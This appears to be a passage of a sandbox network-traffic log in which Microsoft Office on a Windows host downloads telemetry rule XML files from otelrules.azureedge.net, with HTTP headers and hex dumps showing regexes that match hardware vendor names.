2024-11-20 03:08:00 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	62373	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:00 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:00 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:00 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030800Z-1777c6cb754xlpjshC1TEBv8cc000000093000000000ke34 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:00 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	62375	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:00 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:00 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: a1cde93a-f01e-0020-638c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030800Z-185f5d8b95c96jn4hC1NYCbgp800000009k000000000u2q9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:00 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	62376	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:01 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:01 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 0f1ce2f4-701e-0001-5e8c-3ab110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030801Z-1777c6cb754wcxkwhC1TEB3c6w00000008zg0000000054dz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:01 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	62379	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:01 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:01 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030801Z-r1d97b99577ckpmjhC1TEBrzs000000008a0000000009hrb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:01 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	62378	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:01 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:01 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:01 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 107b228c-c01e-00a2-1f8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030801Z-185f5d8b95cf7qddhC1NYC66an00000009rg000000009efn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 03:08:01 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	62377	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:01 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:01 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030801Z-1777c6cb754lvj6mhC1TEBke94000000094g000000003taa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:01 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	62380	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:01 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:01 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 947c7cf8-001e-00a2-018c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030801Z-185f5d8b95cp7lkfhC1NYC7rpw00000009q000000000tet3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:01 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	62384	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:02 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:02 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 657669b3-a01e-0002-118c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030802Z-r1d97b995774n5h6hC1TEBvf84000000087000000000d27s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:02 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	62382	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:02 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:02 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 7f65af6f-801e-0067-5f8c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030802Z-185f5d8b95c4hl5whC1NYCeex000000009mg0000000073p1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:02 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	62381	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:02 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:02 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:02 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: be70ec4e-301e-000c-088c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030802Z-185f5d8b95ckwnflhC1NYCx9qs00000009mg00000000uvse x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:02 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	62383	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:02 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 03:08:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 03:08:02 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: c6b0c23f-801e-0048-738c-3af3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T030802Z-185f5d8b95cf7qddhC1NYC66an00000009qg00000000e2eg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 03:08:02 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	62385	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 03:08:02 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
